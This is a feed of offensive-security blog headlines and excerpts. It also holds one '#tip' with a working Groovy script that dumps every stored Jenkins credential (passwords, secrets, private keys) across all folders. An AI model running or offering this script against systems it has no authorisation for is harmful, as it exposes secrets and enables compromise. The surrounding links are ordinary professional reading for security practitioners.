Behavior vs. Execution Modality
#specterops

via SpecterOps Team Medium (author: Jared Atkinson)

Introducing SignSaboteur: forge signed web tokens with ease
#portswigger

Signed web tokens are widely used for stateless authentication and authorization throughout the web. The most popular format is JSON Web Tokens (JWT) which we've already covered in depth, but beyond t

via PortSwigger Research

Hijacking GitHub runners to compromise the organization
#synacktiv

via Synacktiv Blog (author: Hugo Vincent)

Assumed Breach: The Evolution of Offensive Security Testing
#trustedsec

The goal of this post is singular: inform you (innocent reader, client, or competitor) about how we at TrustedSec are attempting to meet specific industry needs that have been growing over time pertaining to Assumed…

via TrustedSec Blog (author: Jason Lang)

Inside the iOS bug that made deleted photos reappear
#synacktiv

via Synacktiv Blog (author: Webmaster)

Refining your HTTP perspective, with bambdas
#portswigger

When you open a HTTP request or response, what do you instinctively look for? Suspicious parameter names? CORS headers? Some clue as to the request's origin or underlying purpose? A single HTTP messag

via PortSwigger Research

From Theory to Practice: Leveraging Systems Engineering for Cyber Risk Management
#bcsecurity

Bridging the Gap: Applying Systems Engineering to Organizational Cyber Risk Management  Recently, while discussing cyber risk management with a customer, they made the observation that there is a lot of training for top-level risk management in the shape of things like  CISSP that focuses on building policy. There is also [...]

via BC Security Blog (author: Hubbl3)

Missing: Data Classification
#trustedsec

Picked Last AgainData Classification is generally missing from many Information Security programs, unfortunately. The growth and maturity of most security programs is typically organic and follows in the wake of the…

via TrustedSec Blog (author: Rockie Brockway)

Fun With JWT X5u
#redsiege

by Senior Security Consultant Douglas Berdeaux On a recent web application penetration test engagement, I came across a JSON Web Token (JWT) that contained an x5u header parameter. I almost […]

via RedSiege Blog (author: Red Siege)

To Infinity and Beyond!
#specterops

via SpecterOps Team Medium (author: Luke Paine)

Part 13
#specterops

via SpecterOps Team Medium (author: Jared Atkinson)

EDR Internals for macOS and Linux
#outflank

Many public blogs and conference talks have covered Windows telemetry sources like kernel callbacks and ETW, but few mention macOS and Linux equivalents. Although most security professionals may not be surprised by this lack of coverage, one should not overlook these platforms. For example, developers using macOS often have privileged cloud accounts or access to intellectual property like source code. Linux servers may host sensitive databases or customer-facing applications. Defenders must have confidence in their tools for these systems, and attackers must understand how to evade them. This post dives into endpoint security products on macOS and Linux to understand their capabilities and identify weaknesses.

Endpoint detection and response (EDR) agents comprise multiple sensors: components that collect events from one or more telemetry sources. The agent formats raw telemetry data into a standard format and then forwards it to a log aggregator.

via Outflank Blog (author: Kyle Avery)

Essential Steps for Management to Maximize the Value of a Penetration Test Report
#redsiege

by Tim Medin, CEO Penetration testing is a critical component of a well-rounded cybersecurity strategy. Pen testing identifies vulnerabilities before malicious actors can exploit them. However, the true value of […]

via RedSiege Blog (author: Red Siege)

Introducing The Shelf
#trustedsec

As an independent security consulting firm, we develop many custom capabilities over time. What happens when we decide that a capability no longer suits our needs to successfully execute tests for our customers?…

via TrustedSec Blog (author: Christopher Paschen)

One Phish Two Phish, Red Teams Spew Phish
#specterops

via SpecterOps Team Medium (author: Forrest Kasler)

WHFB and Entra ID : Say Hello to your new cache flow
#synacktiv

via Synacktiv Blog (author: Webmaster)

#tip

Found script that extracts all secrets from Jenkins, not just the root scope like most of hacktricks-like notes offers.

import com.cloudbees.plugins.credentials.Credentials


Set<Credentials> allCredentials = new HashSet<Credentials>();


def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
      com.cloudbees.plugins.credentials.Credentials.class
);


allCredentials.addAll(creds)


Jenkins.instance.getAllItems(com.cloudbees.hudson.plugins.folder.Folder.class).each{ f ->
 creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
      com.cloudbees.plugins.credentials.Credentials.class, f)
  allCredentials.addAll(creds)

}


for (c in allCredentials) {
  println(c.id)
  if (c.properties.username) {
    println("   description: " + c.description)
  }
  if (c.properties.username) {
    println("   username: " + c.username)
  }
  if (c.properties.password) {
    println("   password: " + c.password)
  }
  if (c.properties.passphrase) {
    println("   passphrase: " + c.passphrase)
  }
  if (c.properties.secret) {
    println("   secret: " + c.secret)
  }
  if (c.properties.privateKeySource) {
    println("   privateKey: " + c.getPrivateKey())
  }
  println("")
}

Part 14: Sub-Operations
#specterops

via SpecterOps Team Medium (author: Jared Atkinson)

Everything You Need to Know About jQuery and its Vulnerabilities
#trustedsec

IntroductionJavaScript is used in some way on almost all modern web applications. There are several popular libraries that websites utilize, and each come with their own pros and cons. Today, we will focus on one of the…

via TrustedSec Blog (author: Luke Bremer)

Automating SCCM with Ludus: A Configuration Manager for Your Configuration Manager
#specterops

via SpecterOps Team Medium (author: Zach Stein)

Ghostwriter v4.2
#specterops

via SpecterOps Team Medium (author: Christopher Maddalena)